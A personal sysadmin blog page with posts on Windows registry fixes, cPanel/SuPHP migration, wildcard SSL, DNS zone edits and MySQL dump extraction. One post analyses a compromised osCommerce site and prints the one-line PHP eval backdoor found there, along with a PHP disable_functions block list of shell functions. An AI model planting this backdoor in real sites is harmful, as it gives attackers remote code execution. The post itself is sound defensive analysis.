If you happen to happen to see the following error when installing a new piece of Windows software, read on!

A computer restart is required. You must restart this computer before installing SQL Server

This appears to be a bug with SQL server itself, though it may affect other software too. If after you restart the error is still displayed, then you'll need to do some registry editing. Go to Start -> Run (or use Winkey + R shortcut) -> type regedit and navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager and delete the key PendingFileRenameOperations. Close regedit and re-run the installer. Bingo!

For some reason, Microsoft decided to recommend that DBAs provision a database partition of 16GB on their servers. This may have been reasonable back in 2003, but it doesn't scale well today. Whether or not you followed this recommendation, the Redmond guys figured they'd one-up their recommendation by enforcing a database size limitation of 16GB for Exchange 2003's mail store. SP2 raised this to a whopping 18GB; still insufficient for most applications.

To increase this limit, we must play with the registry -- oh joy! You have one entry for each of the public and private folder shares:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeIS\Servername\Private-GUID

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeIS\Servername\Public-GUID

Servername will most certainly be the name which you've chosen for the particular server you're on...surprise! Each of the GUID in the examples above will be a random string of characters and there will only be one such entry for each of public and private. Under each, create a new DWORD key named Database Size Limit in GB and set the decimal value equal to the limit you wish to set in GB. For those running Exchange 2003 standard, there is a hard limit of 75GB on each store, so you'll probably just want to set it for that (the reason for this limit I would imagine is unknown to anyone outside of Redmond). Those on Exchange 2003 Enterprise, there is only a theoretical limit of the underlying hardware, so just use your discretion or set it arbitrarily high, provided you didn't follow Microsoft's silly recommendation of 16GB database partitions!

Being very familiar with the ln command in *nix, I sought a similar alternative for Windows when my small WD Raptor harddrive filled and I found myself needing to move my iPhone backup point to my backup drive. In newer versions of Windows, there is a handy shell command much like ln that allows one to do this. After moving my backup to D:\iPhone\Backup, I used the command below to have iTunes copy my subsquent iPhone backups to the new location instead of the default location at C:\Users\Username\AppData\Roaming\Apple Computer\MobileSync\Backup (where I was when I ran this command):

mklink /J Backup D:\iPhone\Backup

I found the article below to be very useful in fixing a tricky one-off issue with using the three-finger salute (Ctrl+Alt+Del) over VNC. In this situation I was using UltraVNC in service mode with domain authentication enabled for the Domain Admins group. This provides a nice and easy central way to manage user access to VNC-enabled workstations, but doesn't help when the local computer is logged out or otherwise locked, which necessitates the Secure Attention Sequence (SAS) to re-login. The how-to below is for RealVNC but is also accurate for those using UltraVNC.

How can I Enable the Software Secure Attention Sequence Policy?

There are instructions in the article for fixing this both at a domain level via a GPO or machine-level using the local GPedit utility.

cPanel makes it easy to move between PHP loader technologies, however when migrating for the first time from DSO to SuPHP (or some other CGI-based loaders), cPanel has no way to ensure that the permissions and settings are sane for use in an CGI-based loader environment. In particular, CGI-based loaders cannot parse PHP settings (e.g. php_value) in .htaccess files, and will throw a 500 error when these are encountered. Additionally, SuPHP enforces strict permissions on files/directories to ensure they are not writable/executable when they don't need to be. Many users these days chmod all of their files/directories to 777 to be able to run apps like Joomla under DSO PHP, which makes SuPHP quite angry; users will also see a 500 error when incorrect permissions are encountered under SuPHP.

So, to fix these two issues, I have written a little Bash script to automate this potentially arduous process. If you have any issues with the script, please get ahold of me via Twitter or my contact form.

The full script source is included below, and you will also find a direct download link at the bottom of this post.

#!/bin/bash
#	SuPHP PHP Settings Conversion Script
#	Written by Garrett Plasky -- www.gnode.net
#
#	Description: Used to migrate PHP settings on cPanel servers from .htaccess
#	files to user-level php.ini's. This is primarily useful when converting
#	from DSO to SuPHP Apache modules.
#
#	*NOTE*: This process is not currently reversible by the script, so if you
#	want to go back to using PHP as a DSO, these changes will need to be
#	manually reverted.
#
#
#	This program is free software: you can redistribute it and/or modify
#	it under the terms of the GNU General Public License as published by
#	the Free Software Foundation, either version 3 of the License, or
#	(at your option) any later version.
#
#	This program is distributed in the hope that it will be useful,
#	but WITHOUT ANY WARRANTY; without even the implied warranty of
#	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
#	TODO: Make php.ini settings able to be locked down to global php.ini and users have .my.ini instead (http://arunramabalan.blogspot.com/2011/01/methods-to-increase-security-on-suphp.html)
#	TODO: Wrap old php_* settings in .htaccess in <IfModule mod_php5.c></IfModule> tags instead of commenting them out

USERFILE=/etc/domainusers

if [ ! -e $USERFILE ]
then
	echo "!! Looks like you're trying to run this script on a non-cPanel server. Better luck next time. !!"
	exit 1
fi

DEFPHP=( `/usr/local/cpanel/bin/rebuild_phpconf --current|grep -E "PHP.* SAPI:"|awk -F':' {'print $2'}` )

if  echo ${DEFPHP[@]} | grep 'suphp' 1>/dev/null
then
	echo "!! SuPHP Detected !!"
else
	echo "!! SuPHP is not yet enabled or compiled in. Please check your Apache+PHP settings."
	exit 1
fi

USERS=( `cat $USERFILE|awk -F':' {'print $1'}` )

for I in "${USERS[@]}"
do
	USERDIR=/home/$I/public_html
    cd $USERDIR
	echo "Fixing $I..."
    echo -e "\tEnsuring proper file ownership"
    find -type f ! -perm 644 -exec chmod 0644 {} \;
    echo -e "\tEnsuring proper directory ownership"
    find -type d ! -perm 755 -exec chmod 0755 {} \;

	# Skip this junk if they don't even have it!
	#USERHTA=$USERDIR/.htaccess
	#if [ ! -e $USERHTA ]
	#then
	#	continue
	#fi

	USERHTA=( `find $USERDIR -iname ".htaccess"` )

	for HT in ${USERHTA[@]}
	do
		# Grab the existing PHP settings from .htaccess (ugly but it works!)
		PARAM=( `grep '^[[:blank:]]*php_value\|^[[:blank:]]*php_admin_value\|^[[:blank:]]*php_flag\|^[[:blank:]]*php_admin_flag' $HT 2>/dev/null|awk '{print $2}'` )
		VAL=( `grep '^[[:blank:]]*php_value\|^[[:blank:]]*php_admin_value\|^[[:blank:]]*php_flag\|^[[:blank:]]*php_admin_flag' $HT 2>/dev/null|awk '{print $3}'` )	

		# Comment out all php_* settings
		sed -i 's/^php_/#php_/' $HT

	    if [ ${#PARAM[@]} -gt 0 ]
	    then
			echo -e "\tUpdating $HT"
		    FILE=$(dirname $HT)/php.ini
            cat /usr/local/lib/php.ini > $FILE
			chown $I:$I $FILE

			# Updates each value from .htaccess in new user-level php.ini
		    C=0
			for J in ${PARAM[@]}
			do
				V=${VAL[$C]}
				echo -e "\t\tUpdating $J to $V in php.ini"
		        sed -i 's|^\('$J'\) = .*$|\1 = '$V'|i' $FILE	# Turning quoting on/off prevents problems with double quotes in $V
		        C=$C+1
			done
		fi
	done
done
echo "Fixing public_html ownership..."
/scripts/chownpublichtmls
echo "All Done!"
SuPHP Conversion Script (192)

The nature of the current OpenSSL implementation prevents multiple SSL virtual hosts on a single IP address. I won't go into detail here why that is, but with a wildcard certificate this means all of your subdomains will resolve to the same location, regardless of the non-SSL DocumentRoot specification. This post is specifically for those who are in the following situation:

  1. You have a wildcard certificate for a specific domain
  2. You wish to have subdomains of the primary domain resolve to a specific directory in the main public_html
  3. You do not want to have rewrite rules because they will cause https://sub.domain.com to resolve to https://sub.domain.com/sub/ or https://domain.com/sub/ (e.g. you want just https://sub.domain.com)

For those not needing #2 (you have separate content for each subdomain), simply create separate cPanel accounts for each subdomain and assign them a unique IP.

For those indifferent to the URLs in #3, simply use rewrite rules in the main .htaccess and stipulate the condition RewriteCond %{HTTPS} On to match only hits over https://.

So if you're still with me, follow the steps below to achieve what you're looking for. There are more steps involved in this process as oppose to modifying the httpd.conf directly but we all know that's a no-no on cPanel boxes and this way your settings are persistent across configuration rebuilds. Remember to change the example (user) and example.net (domain) references to suit your own situation!

  1. Set up the wildcard SSL for the main domain as usual through the WHM under Main >> SSL/TLS >> Install a SSL Certificate and Setup the Domain.
  2. Create the subdomain as usual inside cPanel, pointing it to the desired subdirectory (e.g. public_html/test/).
  3. Under Main >> IP Functions >> Show IP Address Usage in the WHM, locate an un-used IP address from the list to use for the new SSL Vhost.
  4. Also in the WHM, edit the DNS zone for example.net under Main >> DNS Functions >> Edit DNS Zone, changing the subdomain A record for 'test' to the new IP address chosen in step #2.
  5. Log into SSH and navigate to /var/cpanel/userdata/example
  6. Execute: cat example.net_SSL > test.example.net_SSL
  7. Edit the new test.example.net_SSL file taking note to edit the following lines *carefully* (no extra spaces/characters) as they pertain to the new subdomain data:
    documentroot:
    ip:
    path:
    serveralias:
    servername:

    The remainder of the lines in the file should remain unchanged unless you have a desire to change them.

  8. Save the file and then rebuild the Apache config using the script: /scripts/rebuildhttpdconf (ensure there are no errors [warnings are OK] before doing step #8).
  9. Restart Apache: /scripts/restartsrv_apache
  10. Edit the file /etc/domainips and add a line using the syntax:
    x.x.x.x: test.example.net

    Replacing x.x.x.x with the newly assigned IP.

You may now need to wait some time for the new DNS zone data to be propagated (depends on your zone TTL and DNS caching at your local resolvers). You can work around this by manually setting the IP: domain mapping temporarily in your Windows hosts file if you desire to test it sooner.

I recently ran across another exploited PHP web application on a client's website. This exploit was thanks to the all-too-common file_manager.php exploit in osCommerce 2.2 RC2. This hole has since been patched by the osCommerce team howevver many people neglect to keep their applications up-to-date.

Background

The flavor of the month lately is for attackers to use gzinflate(), exec() and/or base64_decode() to obfuscate their malicious code in PHP files that have been uploaded via an exploit such as the one above. With this particular exploit, however, I encountered some code I'd not yet seen and it amazed me at how simple yet effective it was at propagating further abuse. The file was named 'imageth.php' hidden in a world-writable images/ subdirectory, containin the few lines of code below:

The Script

<?php
if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));
?>

The simplicity of this script is really telling of its genius. There's nothing in it that would turn up on pattern match searches for commonly-used exploit functions like those mentioned above. This script simply takes some request data (typically POST since the request data isn't logged) and runs it through PHP's interpreter. Essentially the hacker now has the ability to do anything they would like, from running a bruteforce attack script, a backdoor shell script, or launching persistent background processes.

Securing your Server

In this case eval() of raw REQUEST data should be a dead-giveaway for the malicious nature of this script. Eval however is used much less often for exploits and more often for legitimate uses, so diabling it outright might be a problem. The single most effective security measure you can enact to prevent these types of exploits is to prevent the use of other problematic PHP functions. Caution should be taken in doing  so however since it can break the functionality of existing scripts, but generally the increased level of security this affords is an acceptable tradeoff for having to change/rewrite some scripts. Below is the disable_functions directive I recommend:

disable_functions = "show_source, system, passthru, exec, popen, proc_open, allow_url_fopen, eval, escapeshellcmd, escapeshellarg, proc_open, shell_exec, curl_exec, curl_multi_exec, popen"

Eval can also be added to that list if you are aware of the implications. Other general security recommendations are Suhosin, SuPHP for shared servers (or fcgi-based alternatives for speed), and always always always keeping your PHP applications updated!

Living in an apartment has its ups and downs. As far as wireless internet goes, it's a bit of a double-edged sword. Sometimes you can leech some from a neighbor if your own is having issues, but when everything is working right, problems usually ensue. For me, they always materialize in the form of channel conflicts, especially since most devices use only a couple channels by default and most people don't change it. North American channels range from 1-11 with most devices using 1, 6, or 11. The good news here is that it leaves some room in the middle to work with.

I was disappointed to learn after installing a trusty staple, Netstumbler, that it is not supported under Windows 7 (or Vista). After looking around, I came across some information that indicated Windows 7 now has a built-in utility for displaying detailed wireless network information. The utility is called netsh and has a number of uses. In this case, I used the command below to get channel information for networks in range, and decided after analyzing them that 8 was the best option for me. Two days later and no more random wifi drops!

C:\Users\Garrett>netsh wlan show networks mode=Bssid

Interface name : Wireless Network Connection
There are 13 networks currently visible.

SSID 1 : ******
    Network type            : Infrastructure
    Authentication          : WPA-Personal
    Encryption              : TKIP
    BSSID 1                 : **********
         Signal             : 70%
         Radio type         : 802.11g
         Channel            : 1
         Basic rates (Mbps) : 1 2 5.5 11
         Other rates (Mbps) : 6 9 12 18 24 36 48 54

SSID 2 : ******
    Network type            : Infrastructure
    Authentication          : WPA2-Personal
    Encryption              : CCMP
    BSSID 1                 : **********
         Signal             : 99%
         Radio type         : 802.11n
         Channel            : 11
         Basic rates (Mbps) : 1 2 5.5 11
         Other rates (Mbps) : 6 9 12 18 24 36 48 54
....

If you have a cPanel server that has been running for some time and one day need to change the nameservers, you'll find that this process is quite simple using the tools in the WHM. When this is all said and done, however, the migration to new nameservers will not have changed the authoritative nameservers listed on the NS record line in the DNS zone files. The process of correcting this only requires a few specially crafted sed regex. Get into your server via SSH as root change dir to /var/named, and run the commands below. Note that you need to replace the first entry (ex. ns1.example.net) with your original nameserver and the second entry (ex. ns1.example2.net) with your new one.

# sed -i 's/ns1.example.net/ns1.example2.net/' *.db
# sed -i 's/ns2.example.net/ns2.example2.net/' *.db

We'll also need to increment the zone serial so that this change can be propagated to other DNS slaves.

# sed -i 's/^\W\+[0-9]\+\W\+;\W*serial.*$/\t\t\t2011011001 ; serial, todays date+todays/i' *.db

2011011001 will need to be changed to reflect the date of the change, along with a 2 digit revision number. In this example the date of change was January 10th, 2011 and revision number '01'.

NOTE: For those of you wondering, the regex used here was intentionally left slightly ambiguous to accommodate different zone file structures used in older cPanel versions. Zones created in versions prior to 11.24 have a slightly different comments after the serial number itself when compared to newer versions.

Finally, reload your zones:

# rndc reload

If you need to extract only a single table from a full database SQL dump (plain text file), the process can be quite tedious if you don't use some sort of pattern matching+regular expressions (regex). There are some tools that have been developed that essentially wrap these two concepts into neat executables, but there is an easier and quicker way to get your data. If you have a MySQL dump file called testdb.sql and want to extract the example table, use the following awk command to pull it out. A note about the regex string: Replace the table names between the periods with the name of the table to be extracted, and the name of the next alphabetical table in the database, respectively.

# awk '/Table structure for table .example./,/Table structure for table .example2./{print}' testdb.sql > example_table.sql

You now have a plain text file with just the desired table in it which can be easily restored or archived as needed.

© 2010 From Garrett's Desk Suffusion theme by Sayontan Sinha